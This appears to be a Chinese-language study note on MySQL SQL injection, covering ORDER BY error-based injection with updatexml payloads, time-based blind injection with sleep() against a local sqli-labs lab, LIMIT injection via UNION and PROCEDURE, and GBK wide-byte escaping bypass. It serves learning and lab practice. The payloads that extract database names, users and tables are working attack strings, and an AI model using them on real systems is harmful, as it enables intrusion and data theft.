order by注入与limit注入,以及宽字节注入order by
order by是mysql中对查询数据进行排序的方法,利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列
正常的order by语句:
select * from users order by id desc;
而有order by注入出我们需要的信息
1.如果有报错信息输出,可尝试通过报错注入完成sql注入攻击
2.如果没有回显,可尝试盲注的手法来注入
order by注入(都是有回显)
1.获取当前的数据库的列表:
select * from users order by id and(updatexml(1,concat(0x7e,(select database()),0x7e),1));
2.获取数据库的版本号
select * from users order by id and(updatexml(1,concat(0x7e,(select version()),0x7e),1));
3.获取用户
select * from users order by id and(updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.获取数据库个数
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
5.获取数据库列表信息
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0));
6.获取表的名字
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1),0x7e),0));
基于时间的盲注(无回显)
如下没有回显可以通过进程时间来判断数据库名的长度(注意我这是自己测试用的是等号,实际上是可以用<来判断的)
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(length(database())=8,sleep(10),1)--+
以下就是正常的order by通过sleep进行判断的
order by if(1=1,1,sleep(1))
select * from hehe order by if(1=1,1,sleep(1)); #正常时间
select * from hehe order by if(1=2,1,sleep(1)); #有延迟
而且通过substr截取数据字母在用ascii码进行转码通过进程时间来判断
ascii() :
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1)--+
limit【此方法适用于<=MySQL 5.5中,在limit语句后面的注入 】
1、limit的使用语法
LIMIT[位置偏移量,]行数;这里的中括号里的数据是可以修改的参数,也就是指的是从哪一行开始显示,并且他的开始值是0,也就是第一条记录对应的索引数是0,第二条记录对应的索引数是1…;后面的行数就是返回记录的条数,一般情况下都是写的1。
没有order by
执行语句 select id from users limit 0,1;
这种情况下的 limit 后面可以使用union进行联合查询注入
执行语句 select id from users limit 0,1 union select username from users;
存在 order by
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入,使用 PROCEDURE函数进行注入,ANALYSE支持两个参数。
宽字节注入
定义:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的’,就会被转义为’,无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'等不被转义。
宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
GBK编码,是对GB2312编码的扩展,用于存储汉字。GBK编码采用双字节编码方案,其编码范围:8140- FEFE
宽字节注入的产生是字符集不一致造成的,如:前端使用UTF-8编码,数据库使用GBK编码,在进行解码时,数据库将两位的UTF-8编码读取成一位GBK编码,从而绕过服务器的转义函数,进行的sql注入。